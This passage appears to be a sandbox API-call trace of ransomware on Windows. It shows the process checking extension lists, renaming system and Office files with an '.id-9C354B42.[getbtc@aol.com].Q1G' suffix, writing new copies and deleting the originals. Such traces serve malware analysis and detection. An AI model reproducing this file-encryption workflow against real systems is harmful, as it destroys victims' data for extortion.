(lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0236.069] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.069] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString=".doc") returned 4 [0236.069] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.069] lstrlenW (lpString=".docx") returned 5 [0236.069] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.069] lstrlenW (lpString=".pdf") returned 4 [0236.069] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.069] lstrlenW (lpString=".xls") returned 4 [0236.069] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.069] lstrlenW (lpString=".xlsx") returned 5 [0236.069] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.069] lstrlenW (lpString=".ppt") returned 4 [0236.069] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString=".zip") returned 4 [0236.069] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.069] lstrlenW (lpString=".rar") returned 4 [0236.069] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.069] lstrlenW (lpString=".bz2") returned 4 [0236.069] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.069] lstrlenW (lpString=".7z") returned 3 [0236.069] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString=".dbf") returned 4 [0236.069] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString=".1cd") returned 4 [0236.069] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.069] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.069] lstrlenW (lpString=".jpg") returned 4 [0236.070] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString=".doc") returned 4 [0236.070] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.070] lstrlenW (lpString=".docx") returned 5 [0236.070] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.070] lstrlenW (lpString=".pdf") returned 4 [0236.070] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.070] lstrlenW (lpString=".xls") returned 4 [0236.070] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.070] lstrlenW (lpString=".xlsx") returned 5 [0236.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.070] lstrlenW (lpString=".ppt") returned 4 [0236.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString=".zip") returned 4 [0236.070] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.070] lstrlenW (lpString=".rar") returned 4 [0236.070] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.070] lstrlenW (lpString=".bz2") returned 4 [0236.070] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.070] lstrlenW (lpString=".7z") returned 3 [0236.070] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString=".dbf") returned 4 [0236.070] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString=".1cd") returned 4 [0236.070] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.070] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0236.070] lstrlenW (lpString=".jpg") returned 4 [0236.070] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.071] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.071] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.071] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.071] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=85056) returned 1 [0236.071] CloseHandle (hObject=0x220) returned 1 [0236.071] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0236.071] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.071] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.071] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.071] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.071] lstrlenW (lpString=".doc") returned 4 [0236.071] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.071] lstrlenW (lpString=".docx") returned 5 [0236.071] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.071] lstrlenW (lpString=".pdf") returned 4 [0236.071] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.071] lstrlenW (lpString=".xls") returned 4 [0236.071] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.071] lstrlenW (lpString=".xlsx") returned 5 [0236.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.071] lstrlenW (lpString=".ppt") returned 4 [0236.072] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".zip") returned 4 [0236.072] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString=".rar") returned 4 [0236.072] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString=".bz2") returned 4 [0236.072] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.072] lstrlenW (lpString=".7z") returned 3 [0236.072] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".dbf") returned 4 [0236.072] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".1cd") returned 4 [0236.072] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".jpg") returned 4 [0236.072] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".doc") returned 4 [0236.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.072] lstrlenW (lpString=".docx") returned 5 [0236.072] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.072] lstrlenW (lpString=".pdf") returned 4 [0236.072] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString=".xls") returned 4 [0236.072] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString=".xlsx") returned 5 [0236.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.072] lstrlenW (lpString=".ppt") returned 4 [0236.072] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.072] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.072] lstrlenW (lpString=".zip") returned 4 [0236.072] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.073] lstrlenW (lpString=".rar") returned 4 [0236.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.073] lstrlenW (lpString=".bz2") returned 4 [0236.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.073] lstrlenW (lpString=".7z") returned 3 [0236.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.073] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.073] lstrlenW (lpString=".dbf") returned 4 [0236.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.073] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.073] lstrlenW (lpString=".1cd") returned 4 [0236.073] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.073] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0236.073] lstrlenW (lpString=".jpg") returned 4 [0236.073] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.073] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.073] lstrlenW (lpString="memtest.exe.mui") returned 15 [0236.073] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.073] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=43600) returned 1 [0236.073] CloseHandle (hObject=0x220) returned 1 [0236.073] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0236.073] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.074] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.074] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.074] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.074] lstrlenW (lpString=".doc") returned 4 [0236.074] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.074] lstrlenW (lpString=".docx") returned 5 [0236.074] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.074] lstrlenW (lpString=".pdf") returned 4 [0236.074] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.074] lstrlenW (lpString=".xls") returned 4 [0236.074] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString=".xlsx") returned 5 [0236.075] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.075] lstrlenW (lpString=".ppt") returned 4 [0236.075] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString=".zip") returned 4 [0236.075] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString=".rar") returned 4 [0236.075] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString=".bz2") returned 4 [0236.075] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.075] lstrlenW (lpString=".7z") returned 3 [0236.075] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString=".dbf") returned 4 [0236.075] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString=".1cd") returned 4 [0236.075] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString=".jpg") returned 4 [0236.075] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.075] lstrlenW (lpString=".doc") returned 4 [0236.075] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.075] lstrlenW (lpString=".docx") returned 5 [0236.075] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.075] lstrlenW (lpString=".pdf") returned 4 [0236.075] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString=".xls") returned 4 [0236.075] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.075] lstrlenW (lpString=".xlsx") returned 5 [0236.075] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.075] lstrlenW (lpString=".ppt") returned 4 [0236.075] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.076] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.076] lstrlenW (lpString=".zip") returned 4 [0236.076] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.076] lstrlenW (lpString=".rar") returned 4 [0236.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.076] lstrlenW (lpString=".bz2") returned 4 [0236.076] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.076] lstrlenW (lpString=".7z") returned 3 [0236.076] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.076] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.076] lstrlenW (lpString=".dbf") returned 4 [0236.076] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.076] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.076] lstrlenW (lpString=".1cd") returned 4 [0236.076] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.076] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0236.076] lstrlenW (lpString=".jpg") returned 4 [0236.076] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.076] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.076] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.076] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.076] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=90192) returned 1 [0236.076] CloseHandle (hObject=0x220) returned 1 [0236.076] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0236.077] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.077] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.077] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0236.077] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0236.077] lstrlenW (lpString=".doc") returned 4 [0236.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.078] lstrlenW (lpString=".docx") returned 5 [0236.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.078] lstrlenW (lpString=".pdf") returned 4 [0236.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.078] lstrlenW (lpString=".xls") returned 4 [0236.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.078] lstrlenW (lpString=".xlsx") returned 5 [0236.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.078] lstrlenW (lpString=".ppt") returned 4 [0236.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.078] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0236.078] lstrlenW (lpString=".zip") returned 4 [0236.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.078] lstrlenW (lpString=".rar") returned 4 [0236.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.078] lstrlenW (lpString=".bz2") returned 4 [0236.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.078] lstrlenW (lpString=".7z") returned 3 [0236.078] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.079] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.229] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.365] Sleep (dwMilliseconds=0x64) [0236.478] Sleep (dwMilliseconds=0x64) [0236.581] Sleep (dwMilliseconds=0x64) [0236.722] Sleep (dwMilliseconds=0x64) [0236.994] Sleep (dwMilliseconds=0x64) [0237.134] Sleep (dwMilliseconds=0x64) [0237.256] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0237.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.763] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.763] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0239.038] GetLastError () returned 0x0 [0239.038] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x3a18, lpOverlapped=0x0) returned 1 [0239.053] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0239.054] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0239.054] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0239.054] SetEndOfFile (hFile=0x360) returned 1 [0239.055] CloseHandle (hObject=0x360) returned 1 [0239.055] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.055] SetEndOfFile (hFile=0x204) returned 1 [0239.060] CloseHandle (hObject=0x204) returned 1 [0239.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0239.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0239.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.240] lstrlenW (lpString=".doc") returned 4 [0239.240] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0239.240] lstrlenW (lpString=".docx") returned 5 [0239.240] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0239.241] lstrlenW (lpString=".pdf") returned 4 [0239.241] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString=".xls") returned 4 [0239.241] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0239.241] lstrlenW (lpString=".xlsx") returned 5 [0239.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0239.241] lstrlenW (lpString=".ppt") returned 4 [0239.241] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString=".zip") returned 4 [0239.241] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0239.241] lstrlenW (lpString=".rar") returned 4 [0239.241] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString=".bz2") returned 4 [0239.241] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString=".7z") returned 3 [0239.241] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString=".dbf") returned 4 [0239.241] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString=".1cd") returned 4 [0239.241] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft 